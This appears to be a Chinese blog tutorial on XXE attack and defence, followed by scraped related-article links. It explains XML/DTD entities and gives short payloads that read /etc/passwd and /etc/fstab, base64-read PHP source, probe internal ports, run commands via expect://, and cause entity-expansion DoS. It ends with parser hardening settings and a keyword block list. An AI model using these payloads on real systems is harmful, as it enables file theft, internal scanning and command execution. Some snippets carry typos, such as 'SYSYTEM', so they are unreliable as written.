XXE攻防总结
1、 前言
与XML格式相同的web漏洞,比较广泛的共有xpath注入、xml注入、soap注入、XXE四种。 2、 XML相关的介绍
针对xml语言,要明白两个特性:合法性与合理性。所谓合法性,是指语法层面(比如xml标签严格区分大小写,xml文档必须有一个根元素等)。所谓的合理性是指xml文档要有意义就必须满足一定的约束要求。
在xml技术里,可以编写一个文档来约束一个xml文档的书写规范,这称之为XML约束。常用的约束技术XML DTD和XML Schema。
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
XML把数据从HTML分离。
XML是独立于软件和硬件的信息传输工具。
基本语法
所有XML元素都必须有一个关闭标签(省略关闭标签是非法的)
XML标签对大小写敏感(标签<book>与标签<Book>是不同的)
XML必须嵌套
XML文档必须有一个元素是所有其他元素的父元素,该元素称为根元素。
XML属性值必须加引号<title lang=“en”>
一些字符拥有特殊的意义则需要用实体来代替。
在XML中编写注释的语法与HTML的语法很相似。<!—根元素-->
XML不会把多个连续的空格字符裁减(合并)为一个
XML以LF存储换行 在XML中,一些特殊字符拥有特殊的意义。为了避免这个错误,请用实体引用来代替特殊字符。
<
<
小于
>
>
大于
&
&
和号
'
‘
单引号
"
“
引号
在XML中,只有字符“<”和“&”确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。 3、 DTD声明
DTD被声明于XML文档中:
<?xml version=“ 1.0”?>
<!DOCTYPE note [<!—定义此文档是note类型的文档-->
<!ELEMENT note (who,action,what)> <!—定义note元素有四个元素-->
<!ELEMENT who (#PCDATA)><!—定义to元素为“#PCDATA”类型—>
<!ELEMENT action(#PCDATA)><!—定义from元素为“#PCDATA”类型-->
<!ELEMENT what(#PCDATA)><!—定义head元素为“#PCDATA”类型-->
]>
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note> DTD可作为一个外部引用:
<?xml version=“ 1.0”?>
<!DOCTYPE note SYSTEM “note.dtd”>
<note>
<who>I</who>
<action>LOVE</action>
<what>THE WORLD</what>
</note> note.dtd:
<?xml version=“ 1.0”?>
<!DOCTYPE note [<!—定义此文档是note类型的文档-->
<!ELEMENT note (who,action,what)> <!—定义note元素有四个元素-->
<!ELEMENT who (#PCDATA)><!—定义to元素为“#PCDATA”类型—>
<!ELEMENT action(#PCDATA)><!—定义from元素为“#PCDATA”类型-->
<!ELEMENT what(#PCDATA)><!—定义head元素为“#PCDATA”类型-->
]>
加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM “DTD_location”>
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC “DTD_name”“DTD_location”>
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共的DTD。
PCDATA的意思是被解析的字符数据,有PCDATA标志的字符会被当做xml标记来对待,而实体会被展开。但是被解析的字符不应当包含任何&、<或者>字符,需要使用相应的实体编码&、<以及>来替换它们。
CDATA的意思是字符数据,有CDATA标志的字符不会当作标记来对待,比如&等特殊字符只会被当做“&”本身,而不是特殊的标记,通过&引用的实体自然也不会被展开。 4、 DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上实体是对数据的引用,实体可在内部或外部声明,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。
XML中实体类型,大致有以下几种:
1、 字符实体
2、 内部实体(命名实体)
3、 外部实体
4、 参数实体 备注:除参数实体外,其他实体都以字符&开始,以字符;结束,与xxe相关的主要外部实体与参数实体。
字符实体:
对于字符实体,我们可以用十进制格式(&#nnn; 其中nnn是字符十进制值)或十六进制格式(&#xhhh; 其中hhh是字符的十六进制值)比如&x25;表示% 内部实体:
又称命名实体,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。
<?xml version=“ 1.0” encoding=“ utf-8”?>
<!DOCTYPE root [<!ENTITY a “hello”>]>
<root>&a;</root> 外部实体:
外部实体声明:<!ENTITY 实体名 SYSTEM “URI/URL”>
外部实体引用:&实体名;
<?xml version=“ 1.0” encoding=“ utf-8”?>
<!DOCTYPE root [<!ENTITY xxe SYSYTEM “本地或远程文件”>]>
<root>&xxe;</root>
外部实体通过在DOCTYPE头部标签中包含SYSTEM关键字,这些定义的“实体”能够访问本地或远程的内容。
攻击者可以通过实体将自定义的值发送给应用程序,然后让应用程序去呈现。 参数实体:
与一般实体相比,它以字符(%)开始,以字符(;)结束,并且只有在DTD文件中才能在参数实体声明的时候引用其他实体。
参数实体声明:
<!ENTITY %实体名 “实体内容”>
参数实体引用:%实体名;
<?xml version=“ 1.0” encoding=”utf-8”?>
<!DOCTYPE note [ <!ENTITY % remote SYSYTEM “攻击者远程服务器上的xml文件”>
%remote;
]>
<root>&b;</root>
在常规的攻击中有两种情况用到参数实体。1.读取的文件包括特殊字符。2. 在XXE攻击没有回显的情况下,可以利用参数实体来获取回显数据。 5、 Schema介绍(XSD)
XML Schema是基于XML的DTD替代者。
XML Schema 描述XML文档的结构。
XML Schema语言也可作为XSD来引用。
但是目前XSD对XXE攻击相关性不是太大。 6、 甄别一个XML实体攻击漏洞
甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方法,比如修改HTTP的请求方法,修改Content-Type头部字段等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
可以参考:
1、 玩转JSON节点的Content-Type XXE攻击
2、 浅谈XXE攻击 在这里一般针对XXE发现基本都是基于三部曲:
1、 检测XML是否会被解析
2、 检测服务器是否支持外部实体
3、 如果上面两步都支持,那么久看能否回显。 然而针对黑盒渗透的特性,测试者无法知道自己任何发送的请求传到服务器时,有没有进入到xml解析器里。如果在客户端明明发送的是json格式的数据但是实际传输到服务器里面了,却进入到了xml解析器里。
7、 XXE的攻击方式
一般技巧:
1、 引用外部实体远程文件读取
2、 URL请求(可借此发起ssrf)
3、 参数实体
4、 通过XInclude包含外部资源
5、 DoS
针对不同的语言的xml解析器支持不同的协议,因此会衍生出不同的攻击方式。 威胁:
对于不同XML解析器,对外部实体有不同处理规则,在PHP默认处理的函数为:
xml_parse和simplexml_load
xml_parse的实现方式为expat库,默认情况下不会解析外部实体;而simplexml_load默认情况下会解析外部实体,造成安全威胁。
在java中,解析xml文件有三种常见的方式:
1、dom 2、sax 3、dom4j
简单来说,dom是将文件一次性的加载到内存中,以dom文档的形式展示,sax是将文件一行行的加载到内存中直接处理,而dom4j需要加载外部jar包,综合性能最高。 默认的Oracle’s Java Runtime Environment下的XML parser是Xerces,一个apache项目。而Xerces和Java提供了一系列的特性,这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude,但是需要setIncludeAware(true)和setNamespaceAware(true)..
PHP&expect的RCE
这个扩展并不是默认安装的,然而安装了这个扩展的XXE漏洞,是能够执行任意命令的。
<!DOCTYPE root[<!ENTITY cmd SYSTEM “expect://id”>]>
<dir>
<file>&cmd;</file>
</dir>
还有python、net环境。
参考链接:
1、 浅谈XXE攻防
2、 XXE注入:攻击与防御
3、 XXE漏洞攻防之我见
外部实体引用:
通过外部实体引用,可以获取远程文件内容:例如:
<?xml version=“1.0”?>
<!DOCTYPE root [
<!ENTITY entity SYSTEM “/etc/passwd”>
]>
<root>&entity;</root>
但是这里有个问题,如果文件内容格式太过复杂,就会导致xml解析失败(比如内容里含有空格、一些特殊字符< > &;之类的文件)。
但是还是有绕过方法的,就是使用php伪协议,php://filter读取文件内容(文件内容经过base64过滤器,就是全字符,没有格式干扰)。
格式为:
<?xml version=“1.0” encoding=“utf-8”?>
<!DOCTYPE xdxxe [
<!ELEMENT methodname ANY>
<!ENTITY xxe SYSTEM “php://filter/read=convert.base64-encode/resource=./xxe.php”>
]>
<xdxxe>
<methodname>&xxe;</methodname>
</xdxxe> URL请求(ssrf)
直接使用外部实体引用就可以发起一个请求,原因是很多xml解析器读取到引用外部文件的模块时,就会强制性发出请求。
针对ssrf的攻击主要是进行内网端口探测和执行只通过http就可以实现的攻击,比如struct2命令执行漏洞简单通过一次http请求就可以成功实现攻击。
1、 探测端口
要发送的payload
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE A SYSTEM “内网地址:端口”>
<A></A>
不同的xml解析器针对这种情况会有不同的反应,因此不能一概而论。比如有一些XML解析器处理时,若该内网地址的端口属于监听状态,则服务器的response时间比端口关闭的response时间要漫长很多,这时便可以通过返回时间来判断端口是否处于开放状态。当有回显的时候,也可以直接根据回显的内容来判断内网地址的存活以及端口开放与否。这种攻击有些鸡肋。
2、 Struct2攻击
Payload:
<?xml version=“1.0”encoding=“utf-8”?>
<!DOCTYPE A SYSTEM “内网地址+相关漏洞的paylaod”>
<A></A>
若是内网的某台服务器存在漏洞,则直接执行就行了。
参考链接:浅谈XXE攻防
这里需要注意下:对xml的攻击中,大都是使用外部实体引用,那么如果直接加载xml的时候,禁止外部实体引用,这种情况下,大多数攻击都会失效,但是ssrf不会。 DOS攻击 此payload中先定义了lol实体,值为“lol”的字符串,后在下面又定义了lol2实体,lol2实体引用了10个lol实体,lol3又引用了10个lol2实体的值,依次类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个“lol”字符串。
此时解析数据时未作特别处理,即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的payload,借助读取/dev/random实现。
参考链接:XXE注入:攻击与防御
参数实体:
备注:可以引用到以下两个攻击方面:
1、 基于盲注的XXE注入(XML解析器在响应中不显示任何错误)。
2、 基于错误的XXE注入(成功解析之后,XML解析器始终显示SAME响应,即“您的消息已被接收”,因此我们可以希望解析器将文件内容“打印”到错误响应中)
参数实体,之前在远程文件读取的介绍中,可以绕过文件内容复杂导致解析失败的限制。
参数实体以%开头,我们使用参数实体只需要遵循两条原则:
1、 参数实体只能在DTD声明中使用。
2、 参数实体中不能再引用参数实体。
参考链接:
1、 http://bobao.360.cn/learning/detail/3841.html
2、 https://www.secpulse.com/archives/58915.html 通过Xinclude包含外部资源
基于XInclude的文件包含,使用的另一套xml语法约束:XML schema。
XInclude提供了一种较为方便的取回数据的思路(再也不同担心数据不完整而导致parser抛出一个错误),而我们能够通过parse属性,强制引用文件的类型。
例如:
<root xmlns:xi=http://www.w3.org/2001/XIclude>
<xi:include href=file:///etc/fstabparse=”text”/>
</root>
不过Xinclude需要手动开启,测试发现所有xml parser都默认关闭这一特性。
客户端攻击方式
参考链接:XXE漏洞攻防 其他攻击方式
参考链接:DTD/XXE攻击笔记分享
8、 防御手段
1、 直接使用开发语言提供的禁用外部实体的方法
这样其实没法防御xml制造的ssrf
PHP:
Libxml_disable-entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Dbf.setExpandEntityReference(false);
Python:
From lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、 过滤用户提交的xml数据
敏感关键字:<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
3、 XML文件的解析以及XML外部实体注入防护
XXE攻防总结的更多相关文章
- XXE攻防——XML外部实体注入
XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的 ...
- XXE攻防
一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可 ...
- XXE攻防技术
http://bobao.360.cn/learning/detail/3841.html http://www.freebuf.com/articles/web/97833.html http:// ...
- [红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- [Web安全] XXE漏洞攻防学习(上)
0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...
- [Web安全] XXE漏洞攻防学习(中)
0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...
- 应用安全-XXE(XML外部实体注入)攻防整理
libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
- Oracle数据库XXE注入漏洞(CVE-2014-6577)分析
在这篇文中,我们将共同分析一下Oracle数据库的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日发布了针对该漏洞的相关补丁. 有关XXE的相关知识,可以查看安全脉搏站内的另一 ...
随机推荐
- RabbitMQ图解
一.MQ对比 二.RabbitMQ模式 三.队列模式 四.公平分发 五.主题模式
- Bomb HDU - 5934 (Tarjan)
#include<map> #include<set> #include<ctime> #include<cmath> #include<stac ...
- 【UNR #1】火车管理
题目描述 uoj 旗下有一个火车站,用来管理属于 uoj 的小火车. 火车站一共有 nn 条编号为 1,…,n1,…,n 的,只有一端的用来存放小火车的铁路,由于小火车特殊的构造,每条铁路可以停放无数 ...
- bzoj3756pty的字符串(后缀自动机+计数)
题目描述 题解 我们可以先对trie树建出广义SAM,然后维护一下right集合大小(注意right集合在广义SAM上的维护方式). 然后把匹配穿往广义SAM上匹配,假设现在匹配到了x节点,那么x的所 ...
- centos7下kafka集群安装部署
应用摘要: Apache kafka是由Apache软件基金会开发的一个开源流处理平台,由Scala和Java编写.Kafka是一种高吞吐量的 分布式发布订阅消息系统,是消息中间件的一种,用于构建实时 ...
- Python3 与 C# 基础语法对比(List、Tuple、Dict、Set专栏)
Code:https://github.com/lotapp/BaseCode 多图旧版:https://www.cnblogs.com/dunitian/p/9156097.html 在线预览: ...
- Python学习day2 while循环&格式化输出&运算符
day2 运算符-while循环 1.while循环 while循环基本结构; while 条件: 结果 # 如果条件为真,那么循环则执行 # 如果条件为假,那么循环不执行 de ...
- 洛谷P1020 导弹拦截
n²谁都会打,不说了. 这里讨论一下nlogn算法(单调不减): 首先开始考虑单调性,我习惯性的以为是单调队列/栈优化的那个套路,想要找到一个跟下标有关的单调性却发现没有. 例如:我想过当下标增加时f ...
- 【模板】splay维护序列
题目大意:维护一个长度为 N 的序列,支持单点插入,单点询问. 注意事项如下: build 函数中要记得初始化 fa. 插入两个端点值. 代码如下 #include <bits/stdc++.h ...
- Web Deploy 服务器安装设置与使用
一.服务器的安装设置 1.在windows server上确保IIS安装了[管理服务]这个功能.方法是在[服务器管理器]=>[管理]=>[添加角色和功能]=>[下一步]=>[基 ...